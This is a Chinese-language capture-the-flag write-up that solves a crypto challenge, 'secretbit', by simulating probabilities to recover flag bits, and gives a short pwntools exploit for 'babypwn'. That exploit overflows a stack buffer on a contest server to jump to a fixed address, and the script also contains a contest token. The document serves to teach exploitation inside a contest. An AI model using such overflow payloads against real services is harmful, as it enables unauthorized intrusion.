前言
只想寫這題,其他題基本都沒做出來,真的太菜了
做出來的題:簽到、釣魚郵件1,2、Gataway、easy、babypwn
secretbit
原始碼
from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm
def instance(m, n):
start = list(range(m))
shuffle(start)
for i in range(m):
now = start[i]
this_turn = False
for j in range(n-1):
if now == i:
this_turn = True
break
now = start[now]
if not this_turn:
return 0
return 1
def leak(m, n, times=2000):
message = [instance(m, n) for _ in range(times)]
return message
MAX_M = 400
MIN_M = 200
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []
for bi in tqdm(flag_b):
while True:
tmp_m0 = randrange(MIN_M, MAX_M)
tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))
tmp_m1 = randrange(MIN_M, MAX_M)
tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))
if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:
break
choose_m = tmp_m0 if bi == 0 else tmp_m1
choose_n = tmp_n0 if bi == 0 else tmp_n1
leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])
open('data.txt', 'w').write(str(leak_message))
分析:
隨機生成兩組數,根據flag的每個二進位制位進行選擇,為0選擇第0組,為1選擇第1組
選擇完成後進行一個2000次的迴圈,對於每一次迴圈
建立一個0到m-1的列表,並隨機打亂
然後進行m次迴圈,每次迴圈迭代n次,直到找到列表下標和對應值相等時結束
如果m次都可以找到則返回1,若有一次找不到則返回0
解題思路:
由於有2000次的判斷,且每次判斷迴圈次數跟m和n有關
可以看到次數過多,就想到可以用機率來解
計算實際1出現的機率(就是題目給出的列表)
然後自己計算一次機率,看選擇第0組時和選擇第1組時的機率哪個更接近實際機率,就可以判斷
(由於我不會公式計算,所以就直接呼叫函式模擬了)
exp:
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm
def instance(m, n):
start = list(range(m)) # 0 ~ m-1
shuffle(start) # 洗牌
for i in range(m):
now = start[i]
this_turn = False
for j in range(n-1):
if now == i:
this_turn = True
break
now = start[now]
if not this_turn:
return 0
return 1
def leak(m, n, times=2000):
message = [instance(m, n) for _ in range(times)]
return message
a= #將data.txt複製過來
real=[]
for i in a:
c=0
for j in i[2]:
c=c+j
x=leak(i[0][0],i[0][1])
x1=0
for j in x:
x1=x1+j
y = leak(i[1][0], i[1][1])
y1 = 0
for j in y:
y1 = y1 + j
if abs(c-x1)<abs(c-y1):
print(0,end="")
else :
print(1,end="")
babypwn
這題直接給exp了
from pwn import *
p=remote("prob07.contest.pku.edu.cn",10007)
p.recvuntil(b'token: ')
token=b'380:MEUCIA53-seknXVpWTyWRjvyzlmmewAMd_JN-5aNYUuPgAP1AiEA7On67hlvgpSP1RD5fCXIwmijARphfpolbrDFqB3L9Zc='
p.sendline(token)
p.recvuntil(b'username:')
payload=b'root'
p.sendline(payload)
p.recvuntil(b'password:')
payload=b'a'*(0x30+0x08)+p64(0x401177)
p.sendline(payload)
p.interactive()